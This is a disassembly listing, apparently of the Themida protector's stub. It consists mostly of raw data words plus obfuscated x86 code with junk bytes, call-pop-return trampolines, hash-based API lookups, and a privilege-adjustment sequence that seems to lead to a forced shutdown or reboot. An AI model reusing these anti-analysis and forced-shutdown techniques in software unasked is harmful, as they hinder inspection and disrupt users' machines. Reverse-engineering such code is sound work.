0C5A5550Ah dd 0FF6A4BA1h, 33B59D89h, 0B5FF0615h, 617FEA6h, 95FF9FB5h dd 61508BDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0EC35242h, 51BF66B4h, 0B7858D39h, 600617F2h, 61FFB70Fh dd 8E85250h, 1B000000h, 24F01DD5h, 0FB65FB8h, 86h, 0FF5A5F00h dd 1507D595h, 0A1CBA06h, 85892F26h, 617F341h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 98C35242h, 0C06D0CFDh dd 0BF0F25A3h, 0C4858DCEh, 0E90617F2h, 0Ah, 0FA54C0A8h dd 0D52B31AEh, 895088ADh, 150949BDh, 41B5FF06h, 660617F3h dd 0B1D3C781h, 0E1D95FFh, 6A0615h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 9B6B68C3h, 0A70DA023h, 89CD3F69h, 15185D85h, 32858D06h dd 0F0617F3h, 28Eh, 50CF8B00h, 26158D89h, 0B5FF0615h, 617F341h dd 619589h, 95FF0615h, 6150E1Dh, 8589EE8Ah, 617F355h, 13E9h dd 774C8600h, 0D8CC0F20h, 24C0D843h, 8D815B08h, 720B54AFh dd 0F311858Dh, 958B0617h, 61511ADh, 60B96660h, 0B506125h dd 15098995h, 41B5FF06h, 0F0617F3h, 0B83h, 5820F00h, 66000000h dd 1D52F281h, 0E1D95FFh, 6A0615h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 962984C3h, 0FF9045Fh dd 8589F9B7h, 617F34Dh, 0F304858Dh, 90B20617h, 8E950h dd 84D10000h, 1901D176h, 0B5FF03A2h, 617F341h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2BC35141h, 9D18D89h dd 95FF0615h, 6150E1Dh, 11658D33h, 85890615h, 617F351h dd 2B058D8Bh, 858D0615h, 617F31Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 9EC35747h, 5EDD9155h, 50FAB70Fh dd 0FFFFED80h, 17F341B5h, 0F1858906h, 0FF06152Ch, 150E1D95h dd 0F88B6606h, 5CD8589h, 6A0615h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 5A596EC3h, 2830FFEh dd 0B2000000h, 75950367h, 8D06151Dh, 17F2D385h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0ED08F60Fh, 0FDBD695h, 683h, 2DBD8900h, 8106152Fh, 910308DAh dd 8D31507Eh, 6150385h, 0F341B5FFh, 9DB90617h, 0FF3F4E76h dd 150E1D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 68BF5759h, 890F05B0h, 17F34585h dd 8B665106h, 858D59CAh, 617F2E2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0E6C35343h, 0E0171F47h, 0DAD586D9h dd 226D8D89h, 6A500615h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 4C7EC352h, 53F20ECFh dd 0F7127BCh, 0B5FFCEBFh, 617F341h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0D8C35040h, 69958BD6h, 89061527h dd 1512B5BDh, 1D95FF06h, 0B606150Eh, 498589EEh, 0F80617F3h dd 10468h, 70E78100h, 8D3DE800h, 17F3D985h, 8D8B5106h dd 61533D1h, 95295059h, 6151575h, 0F4DD858Dh, 6A0617h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0B172FDC3h, 56F0FF30h, 84B0EA81h, 81666856h, 5070BEDFh dd 960CBA66h, 4B195FFh, 8D030615h, 6151CDDh, 0FC085F5h dd 685h, 1D8D8B00h, 80061530h, 17FEB2BDh, 850F0006h, 44h dd 11E9h, 2D941000h, 0D93F155Fh, 9345C10Bh, 418779D6h dd 21E95418h, 6A000015h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 66C7C352h, 0D823D3E8h dd 9529A8A0h, 61521E1h, 295DBD83h, 0F000615h, 2F85h, 9E900h dd 0DFD30000h, 4DA9BA09h, 83E294AFh, 18035CBDh, 840F0006h dd 7Ch, 0BE8h, 0C6AB3600h, 296CECEFh, 6487E6AEh, 5A8FF680h dd 0F376858Dh, 0E9520617h, 10h, 4ACC41F3h, 0D33E63AAh dd 0C4E4F2B9h, 0B66D5272h, 149AE95Ah, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0E9E06FC3h, 36h, 19F18531h, 12E80615h, 0E8000000h, 1B3EDB50h dd 615BA846h, 0BBF2A698h, 400D5BC4h, 75BD2931h, 5F061511h dd 0F361858Dh, 8F0F0617h, 6, 1199958Bh, 0E9500615h, 7 dd 9AA9619Ah, 8DAB2206h, 17F3D985h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 43101100h dd 0B26CDFD0h, 8D890731h, 6152AE5h, 0BD83F950h, 615295Dh dd 14840F00h, 89000000h, 151A05BDh, 0FF858D06h, 0FC0617F4h dd 11E9h, 8DEE8A00h, 17F4E885h, 3800F06h, 80000000h, 8050EFF1h dd 858DD5D2h, 617F537h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 87C35343h, 8945CA13h, 152B259Dh, 15830F06h dd 0E9000000h, 10h, 2128AE13h, 5A803F06h, 0F050178Fh, 0FF221291h dd 5950150h, 0FF061510h, 152F2995h, 758D8B06h, 83061517h dd 958B10C4h, 615073Dh, 12E9h, 0B1329A00h, 0AC4E48F0h dd 0CD2F135Ah, 11AC9B96h, 8BD8CB24h, 5958BC0h, 8306150Ah dd 1508F5BDh, 9750006h, 3ADBD83h, 74000615h, 8B535019h dd 7D3B8C0h, 85890000h, 6151385h, 0AA9E9D8Dh, 0D3FF0617h dd 0BD83585Bh, 61503ADh, 50177400h, 7D3B853h, 85890000h dd 6151385h, 0A78D9D8Dh, 0D3FF0617h, 8053585Bh, 805FFACAh dd 0C08BACC5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0D4C35242h, 0C37F10FDh, 8FC3526h, 0F7816623h, 0BD81C5FFh dd 617F361h, 6165726Fh, 0A1840Fh, 858D0000h, 617F3D9h dd 16858D50h, 500617F5h, 0F537858Dh, 0FF500617h, 152F2995h dd 0CC48306h, 9C585C6h, 68440615h, 96A3184Fh, 1685B5FFh dd 858D0615h, 6153B38h, 0D88BD0FFh, 0F537858Dh, 0FF500617h dd 61858DD3h, 500617F3h, 0F3D9858Dh, 83500617h, 15295DBDh dd 8740006h, 0F4FF858Dh, 6EB0617h, 0F4E8858Dh, 8D500617h dd 17F53785h, 95FF5006h, 6152F29h, 0B910C483h, 53881ECh dd 0DF99529h, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0FFF815C3h, 1516DD95h, 11E906h dd 663E0000h, 76B48FE1h, 0EEF36281h, 63E2A867h, 66E37676h dd 0AE50EF81h, 0FF25h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 658D89C3h, 8306152Fh dd 830F05F8h, 50h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0C5C35040h, 0A79F0013h, 6985C72Bh, 1061521h dd 8B000000h, 15178DBDh, 95858D06h, 8B0617F3h, 150655BDh dd 8BE906h, 0CEB60000h, 6870Fh, 0BD8B0000h, 61524B1h, 295DBD83h dd 0F000615h, 5E84h, 8F18100h, 8D42490Ch, 17F3C085h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 10C602BCh, 3B9CB9AEh, 3AE92F1Ah, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 75EC356h, 1F0C877Eh, 9614E582h, 8DD08B66h, 17F3A285h dd 6870F06h, 23000000h, 150BB995h, 0D5858906h, 6A0617F3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0A858C356h, 0C1B9D08Dh, 0D78166EBh, 0BD83D61Fh dd 615295Dh, 15850F00h, 0B6000000h, 5CBD83A1h, 61803h dd 11840Fh, 950B0000h, 6150831h, 10ABE9h, 1DBD8900h, 0E9061515h dd 4EEh, 8BCEB70Fh, 81FC60C0h, 0CA7C46DEh, 0BD836157h dd 61508F5h, 83097500h, 1503ADBDh, 19740006h, 0C08B5350h dd 7D4B8h, 85858900h, 8D061513h, 17AA9E9Dh dd 5BD3FF06h, 0ADBD8358h, 61503h, 53501774h, 7D4B8h, 85858900h dd 8D061513h, 17A78D9Dh, 5BD3FF06h, 0ADF28058h, 0CDB58B60h dd 0B061520h, 1520D5B5h, 0C08B6106h, 8880Fh, 8B510000h dd 1517FDBDh, 3F685906h, 81000F00h, 0E77297CAh, 6A006A6Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 37BC357h, 6AF5B4h, 2CC18166h, 0CD9D8994h dd 0FF061516h, 15185D95h, 958B6006h, 6150465h, 28D0Fh dd 56B70000h, 0FC08561h, 1485h, 0FE900h, 96C10000h, 0F6E35487h dd 0B73A9D84h, 0E8B26D96h, 5985897Fh, 6A0617F3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0CFEBC351h, 38E895B7h, 6AF98BF1h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 9E3468EAh dd 0B1885141h, 818D892Eh, 89061509h, 1511519Dh, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0D5D5C353h, 689F9BB7h, 0C9818B93h, 4BAB52C9h dd 1459958Bh, 6A0615h, 6AFE8Bh, 910056BAh, 66006A23h, 858DFB8Bh dd 617F537h, 71B860FCh, 60716F68h, 0E9F6BF0Fh, 7, 0A7F4DD17h dd 6127C866h, 958B5061h, 6150981h, 0BF0F016Ah, 0E8016ACAh dd 0Ch, 1CD5383Ch, 0AA389BC2h, 8D4A41C9h, 12E9h, 0AAAF4300h dd 0A125B356h, 26A9252Bh, 0D40C8E43h, 5F54D4A0h, 6A016Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0A8AE93C3h, 68D38B73h, 0F01FFh, 13E9h, 0B5EC8600h, 0CF5B1ECCh dd 42F5EA27h, 0D173F1ECh, 0F78B0874h, 1A2EBA66h, 295DBD83h dd 0F000615h, 6684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 303BE573h, 6D7D9D99h dd 858DC707h, 617F3B6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 68C35343h, 0F6DB58Fh, 8B158CB3h, 19E9CAh dd 0CE90000h, 0C2000000h, 0E242DBB4h, 0B3A438C5h, 8D6F49F3h dd 17F38C85h, 50D68B06h, 2F61B589h, 0E6800615h, 0E3BF5053h dd 0FF6C5FCDh, 17F359B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 8DD4974Ch dd 25958944h, 0FF061511h, 17F34595h, 0BF60F806h, 162F773Dh dd 3DA8B966h, 0FC08561h, 0E85h, 0B7C98000h, 5FE9h, 45BD8900h dd 8906152Bh, 17F35D85h, 2D9D8906h, 0FF061502h, 17F35DB5h dd 7EF28106h, 0FF4EAEDDh, 1505CD95h, 8D8B5006h, 6150245h dd 0D5BD8B59h, 8506151Dh, 25850FC0h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 867AC356h, 95237A30h, 6152C51h, 810F106Ah, 6, 16F59D89h dd 0BD830615h, 615295Dh, 36840F00h, 0F5000000h, 858DCE8Bh dd 617F3B6h, 26818D0Bh, 2EE90615h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 89FAC350h, 15172595h, 8C858D06h, 810617F3h, 3D045FD1h dd 0E9525066h, 0Ch, 7898F354h, 9539518h, 1A097F96h, 59B5FF5Fh dd 0F0617F3h, 386h, 88D28000h, 0BE6AC981h, 95FF0F87h, 617F351h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ACC35343h dd 0B1958B60h, 8B061533h, 152A9D95h, 0C0856106h, 7850Fh dd 0B5310000h, 61520CDh, 5D8589FCh, 810617F3h, 3131E4F1h dd 6A006A33h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 266BC357h, 9A4D026Dh, 8B607722h dd 15239985h, 61605306h, 9D896159h, 61525B9h, 3419D09h dd 6A0615h, 3445958Bh, 0B5FF0615h, 617F35Dh, 831B589h dd 95FF0615h, 617F349h, 156D8589h, 0C0850615h, 3B850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0E36325C3h, 0B3D3F837h, 6052FAF0h, 551B589h dd 0B0600615h, 2BBF66BFh, 81616129h, 0C486F5D2h, 5DB5FF7Ah dd 800617F3h, 95FF18DEh, 61505CDh, 2965BD2Bh, 5E90615h dd 23000000h, 0CCAEAFA7h, 850FC085h, 2, 6AF08Ah, 8182A4BFh dd 806865h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 6DB210C3h, 4C70BF66h, 8E8h, 15B11100h dd 9B94871h, 13E98Ch, 8C870000h, 761A8E29h, 58139D9Fh dd 0EA1BA201h, 0B531B021h, 36A5AFFh, 1C7DB529h, 6A0615h dd 6A23B5h, 0BA42EA81h, 68605Fh, 52C00000h, 0FE9h, 355E5900h dd 63C5AF24h, 71D07543h, 52EA32BDh, 0D5B5FF5Ah, 600617F3h dd 10E9h, 4AA57800h, 0A954989h, 0F2573961h, 0DB74BA82h dd 6880F02h, 0F000000h, 86h, 95FF6100h, 61510F9h, 0FFF883F9h dd 471850Fh, 60600000h, 61F1B70Fh, 21519529h, 0FF610615h dd 17FE4385h, 0CA8B6606h, 141DBD8Bh, 0BD830615h, 617FE43h dd 3E840F02h, 89000003h, 152CD58Dh, 3B858D06h, 60005B24h dd 85D8D8Bh, 8D890615h, 6152C81h, 8BD0FF61h, 15059995h dd 8E858D06h, 8B005B1Eh, 150681BDh, 36D18006h, 0BD8BD0FFh dd 6152695h, 0FE9h, 6DB6F300h, 12C53CD2h, 2BC0A5CEh, 989E6DCAh dd 8D0FC08Bh, 1, 0BD83F5F9h, 61508F5h, 83097500h, 1503ADBDh dd 19740006h, 0C08B5350h, 7D8B8h, 85858900h, 8D061513h dd 17AA9E9Dh, 5BD3FF06h, 0ADBD8358h, 61503h, 53501774h dd 7D8B8h, 85858900h, 8D061513h, 17A78D9Dh, 5BD3FF06h dd 75958B58h, 8A061511h, 0A98529F3h, 8B061524h, 0A19529C0h dd 8B061511h, 150A11BDh, 3F6806h, 70BF000Fh, 5633B650h dd 15FCB966h, 89006A5Ah, 150A8D9Dh, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0DF4AC357h, 3B9966E6h, 185D95FFh, 0D7810615h, 53FA49Dh dd 5E9C085h, 0F3000000h, 85DCF414h, 0C8F0Fh, 7E90000h dd 0EA000000h, 5BDC0282h, 858953E5h, 617F359h, 0F085B966h dd 0F01FF68h, 0EDBD2B00h, 8306150Ch, 15295DBDh, 840F0006h dd 2Dh, 6830Fh, 8D890000h, 6150D19h, 0F3B6858Dh, 0BD8B0617h dd 6150079h, 0E5BD8Bh, 2CE90615h, 60000000h, 26BDB58Bh dd 0CF8B0615h, 8C858D61h, 6A0617F3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 50D8C353h dd 880Fh, 0B5FF0000h, 617F359h, 68B0Fh, 85090000h, 61506F1h dd 0FFD78B66h, 17F35195h, 0C58D0306h, 89061522h, 17F35D85h dd 80526006h, 8B5EE6E7h, 85C761D7h, 6151881h, 0 ; --------------------------------------------------------------------------- mov di, 0CC58h xor di, 0AEAEh cmp dword ptr [ebp+617F35Dh], 0 jz loc_5AC28E pusha jmp loc_5AC156 ; --------------------------------------------------------------------------- dd 4D68E934h, 66C229F8h, 8878A87Dh db 7Eh, 82h ; --------------------------------------------------------------------------- loc_5AC156: ; CODE XREF: Themida_:005AC143j popa lea eax, [ebp+617F63Bh] or [ebp+6150D1Dh], ebx push eax mov dx, 18D2h push 1 add [ebp+61501FDh], eax push dword ptr [ebp+617F35Dh] call dword ptr [ebp+617F355h] mov [ebp+6151005h], esi push dword ptr [ebp+617F35Dh] mov edi, [ebp+6153479h] call dword ptr [ebp+61505CDh] mov [ebp+6152EC9h], edi push 0F01FFh mov edi, [ebp+6151A31h] cmp dword ptr [ebp+615295Dh], 0 jz loc_5AC20B jno loc_5AC1DF call sub_5AC1D1 out 0E6h, al iret ; --------------------------------------------------------------------------- dd 0E68ABBF8h, 0DAB4037Bh, 0B371AE3Ah, 0BA2114CEh db 11h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5AC1D1 proc near ; CODE XREF: Themida_:005AC1B8p jmp sub_5AC1DE sub_5AC1D1 endp ; --------------------------------------------------------------------------- and ecx, [eax+42DD6DA3h] inc esp xchg eax, esi ; =============== S U B R O U T I N E ======================================= sub_5AC1DE proc near ; CODE XREF: sub_5AC1D1j pop edi loc_5AC1DF: ; CODE XREF: Themida_:005AC1B2j lea eax, [ebp+617F3B6h] movzx edi, bx jmp loc_5AC214 ; --------------------------------------------------------------------------- db 8Bh, 0BDh, 1Dh dd 0E8061530h, 12h, 7094B5C4h, 5CEB2E3h, 663BC382h, 44748D84h ; --------------------------------------------------------------------------- rcl byte ptr [esi], 1 pop ecx loc_5AC20B: ; CODE XREF: Themida_:005AC1ACj lea eax, [ebp+617F38Ch] movsx ecx, bx loc_5AC214: ; CODE XREF: sub_5AC1DE+Aj push eax mov cx, dx push dword ptr [ebp+617F359h] mov [ebp+6150BB9h], ebx call dword ptr [ebp+617F351h] mov di, 85C5h mov edi, 253DB0C2h mov [ebp+617F35Dh], eax push 0 push eax call sub_5AC244 and [eax-3Dh], bl sub_5AC1DE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5AC244 proc near ; CODE XREF: sub_5AC1DE+5Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5AC244 endp ; --------------------------------------------------------------------------- dd 0BFBB6B48h, 31F9AE3Dh, 15155185h, 5DB5FF06h, 660617F3h dd 6EDAEA81h, 0F34D95FFh, 9D310617h, 6150161h, 0F35DB5FFh dd 95030617h, 61519B9h, 5CD95FFh, 0BA660615h ; --------------------------------------------------------------------------- leave inc ebp loc_5AC28E: ; CODE XREF: Themida_:005AC13Cj jmp near ptr dword_5AB1B8+7CFh ; --------------------------------------------------------------------------- mov dh, 0Ah push dword ptr [ebp+617FEA6h] push 0 push esi call sub_5AC2A6 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC2A6 proc near ; CODE XREF: Themida_:005AC29Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5AC2A6 endp ; --------------------------------------------------------------------------- mov ds:7EB47740h, eax push ss call dword ptr [ebp+61502C9h] xor di, 0F2F2h mov eax, [ebp+6150489h] mov ecx, edi mov [ebp+61509D9h], ecx jmp loc_5AC832 ; --------------------------------------------------------------------------- push 0 push eax call sub_5AC2E5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC2E5 proc near ; CODE XREF: Themida_:005AC2DDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5AC2E5 endp ; --------------------------------------------------------------------------- db 65h, 0BBh, 0E1h ; --------------------------------------------------------------------------- dec edx lodsd mov edi, [ebp+61517E9h] lea esi, [ebp+617F65Bh] mov edi, 0A3D5FCDh mov [ebp+6150A8Dh], ebx lea eax, [ebp+617A3E1h] mov cx, 27CCh call eax cld ja loc_5AC32A mov [ebp+6152389h], ecx loc_5AC32A: ; CODE XREF: Themida_:005AC31Ej push 0 push 0 push esi call sub_5AC337 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC337 proc near ; CODE XREF: Themida_:005AC32Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5AC337 endp ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- push ds db 2Eh push ds inc ebp call dword ptr [ebp+6152669h] or [ebp+6153475h], eax mov esi, ebx movsx edi, di lea eax, [ebp+617A3E1h] mov edi, [ebp+6152D29h] call eax mov [ebp+6151005h], eax push 0 push 0 push ebx call sub_5AC37E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC37E proc near ; CODE XREF: Themida_:005AC376p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5AC37E endp ; --------------------------------------------------------------------------- dw 62D4h dd 2BF303C8h, 15165D95h, 6995FF06h, 8B061526h, 7EF281C0h dd 831E693Ch, 1508F5BDh, 9750006h, 3ADBD83h, 74000615h dd 8B535019h, 7D9B8C0h, 85890000h, 6151385h, 0AA9E9D8Dh dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h, 7D9B853h dd 85890000h, 6151385h, 0A78D9D8Dh, 0D3FF0617h, 8BF9585Bh dd 15020595h, 0BD8B6006h, 6151929h, 6D1BD23h, 8B610615h dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0DCE77BFAh, 0DCF2C10Eh, 38C0Fh, 0BF0F0000h dd 810F60CBh, 2, 8531D2B5h, 6151791h, 840F5061h, 3, 8BF88B66h dd 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 9D8D5390h, 61505E1h, 389038Bh, 8950438Bh dd 9D8D5043h, 617FE3Fh, 389038Bh, 55006A5Bh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 9E8770B8h dd 0EF8A8D32h, 4C98D8Bh, 0D08B0615h, 6AD78Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7C35141h, 9E92CC89h dd 8D354FD7h, 17FE3F85h, 0F41BA06h, 6A502CBCh, 0F18D8B60h dd 8B061512h, 0E1858DCFh, 8B061505h, 15035DBDh, 0F7E18006h dd 918D8950h, 6A06152Fh, 0BF665300h, 0B15A5D59h, 66006A9Bh dd 875BE281h, 180068h, 0A59D0100h, 5306151Ch, 6ABF66h dd 97D95FFh, 0BF0F0615h, 0CD95FFD3h, 8B06150Dh, 15098195h dd 0A6B5FF06h, 6A0617FEh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 49E8C355h, 0FA26DC6h dd 0C995FF3Eh, 6A061502h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 1490C356h, 77FAAFD3h dd 0AC58509h, 14E90615h, 9B000000h, 1B200387h, 0D17C6D10h dd 7DA828AFh, 0F3C1F14Ah, 8DEEBEF7h, 1505E185h, 8BCB8B06h dd 0B5891840h, 6152AEDh, 20D85C7h, 615h, 0CA8B0000h, 295DBD83h dd 0F000615h, 2E84h, 0A1BD8B00h, 3D061504h, 8Ch, 187830Fh dd 0B5890000h, 6150DF1h, 23E9h, 0DE900h, 72400000h, 0C9753296h dd 5F1B3DDAh, 3DE9B5F3h, 98h, 15F830Fh, 0CA810000h, 62B1236Ch dd 243B858Dh, 9503005Bh, 6151C9Dh, 0F180D0FFh, 8E858D94h dd 0E9005B1Eh, 13h, 6B36668Dh, 3E60AFD9h, 7B966D32h, 81059753h dd 0FF396217h, 0C08BFCD0h, 2D958B56h, 5A061502h, 8F5BD83h dd 75000615h, 0ADBD8309h, 61503h, 53501974h, 0C6B8C08Bh dd 8900000Bh, 15138585h, 9E9D8D06h, 0FF0617AAh, 83585BD3h dd 1503ADBDh, 17740006h, 0C6B85350h, 8900000Bh, 15138585h dd 8D9D8D06h, 0FF0617A7h, 0E8585BD3h, 10h, 0E79AC0AEh dd 0F1D4EBC5h, 0A1CBDBABh, 738C7191h, 252CD281h, 895A10BFh dd 152EE995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0F35D1C2h, 0C08BD1B7h, 0BD895957h dd 615189Dh, 0FFFF883h, 2F85h, 1D858900h, 0C7061516h, 1521B985h dd 6, 0C890F00h, 0F000000h, 68Bh, 0E9858900h, 0E9061504h dd 0F8h, 0E9F88B66h, 42h, 0F01F883h, 3985h, 0A5B66000h dd 0FA8B6660h, 1E9B509h, 61610615h, 0F5E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0EF7D573Ah, 257DBD33h, 20E90615h, 8BFFFFF2h, 15004D95h dd 89C08B06h, 1527C185h, 0F5BD8306h, 61508h, 0BD830975h dd 61503ADh, 50197400h, 0B8C08B53h, 7DDh, 13858589h, 9D8D0615h dd 617AA9Eh, 585BD3FFh, 3ADBD83h, 74000615h, 0B8535017h dd 7DDh, 13858589h, 9D8D0615h, 617A78Dh, 585BD3FFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B0C35646h, 0CA68BADFh dd 6A71BCh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0CE8B75C3h, 33BD8509h, 0C08B0615h, 217E9h dd 0CABF0F00h, 0FC43858Dh, 8D8B0617h, 615091Dh, 0FE3B8589h dd 8B600617h, 150D818Dh, 5AE96106h, 0F000000h ; --------------------------------------------------------------------------- mov bh, 0F9h loc_5AC832: ; CODE XREF: Themida_:005AC2D5j lea eax, [ebp+617FA4Bh] push 0 push edx call sub_5AC843 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC843 proc near ; CODE XREF: Themida_:005AC83Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5AC843 endp ; --------------------------------------------------------------------------- db 36h inc ebp inc edx or [ebp+615116Dh], edx inc eax push 0 push eax call sub_5AC868 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC868 proc near ; CODE XREF: Themida_:005AC860p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5AC868 endp ; --------------------------------------------------------------------------- mov ah, 87h push edx mov ecx, eax mov [ebp+617FE3Bh], eax jge $+6 push 34h lea eax, [ebp+6151395h] push eax push dword ptr [ebp+617FE3Bh] push 0 call dword ptr [ebp+61506D5h] cmp eax, 7 jz loc_5ACA11 mov bx, ds test bl, 4 jnz loc_5AC9B7 mov byte ptr [ebp+61509C5h], 56h push 9CA8B852h push dword ptr [ebp+6151685h] lea eax, [ebp+6153B38h] call eax push 4 push 1000h push 64h push 0 call eax mov [ebp+617FEAEh], eax mov byte ptr [ebp+61509C5h], 47h push 0EC18AC9Bh push dword ptr [ebp+6151685h] lea eax, [ebp+6153B38h] call eax call eax mov esi, eax mov byte ptr [ebp+61509C5h], 4Fh push 0C62F2661h push dword ptr [ebp+6151789h] lea eax, [ebp+6153B38h] call eax lea ebx, [ebp+617FEAAh] push ebx push 28h push esi call eax test eax, eax jnz short $+2 mov byte ptr [ebp+61509C5h], 41h push 0DB876498h push dword ptr [ebp+6151789h] lea eax, [ebp+6153B38h] call eax mov [ebp+617FEC7h], eax mov byte ptr [ebp+61509C5h], 4Ch push 80A4E7A4h push dword ptr [ebp+6151789h] lea eax, [ebp+6153B38h] call eax mov ebx, [ebp+617FEAEh] lea ebx, [ebx+4] push ebx lea ebx, [ebp+617FEB3h] push ebx push 0 call eax mov ebx, [ebp+617FEAEh] mov dword ptr [ebx], 1 mov dword ptr [ebx+0Ch], 2 mov ebx, [ebp+615074Dh] mov dword ptr [ebp+6152DEDh], 0 push 0 push 0 push 0 mov ebx, [ebp+617FEAEh] push ebx push 0 push dword ptr [ebp+617FEAAh] call dword ptr [ebp+617FEC7h] loc_5AC9B7: ; CODE XREF: Themida_:005AC8AFj mov byte ptr [ebp+61509C5h], 45h push 92A5F797h push dword ptr [ebp+6150789h] lea eax, [ebp+6153B38h] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_5ACA11 mov ebx, [ebp+617FEAEh] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+617FEAEh] push ebx push 0 push dword ptr [ebp+617FEAAh] call dword ptr [ebp+617FEC7h] push dword ptr [ebp+617FEAAh] call dword ptr [ebp+6150DCDh] loc_5ACA11: ; CODE XREF: Themida_:005AC8A3j ; Themida_:005AC9DDj push 0 call dword ptr [ebp+6152669h] mov edx, 2AF71739h mov edx, [ebp+61507F5h] lea eax, [ebp+618318Ah] push 0 push eax call sub_5ACA35 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ACA35 proc near ; CODE XREF: Themida_:005ACA2Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5ACA35 endp ; 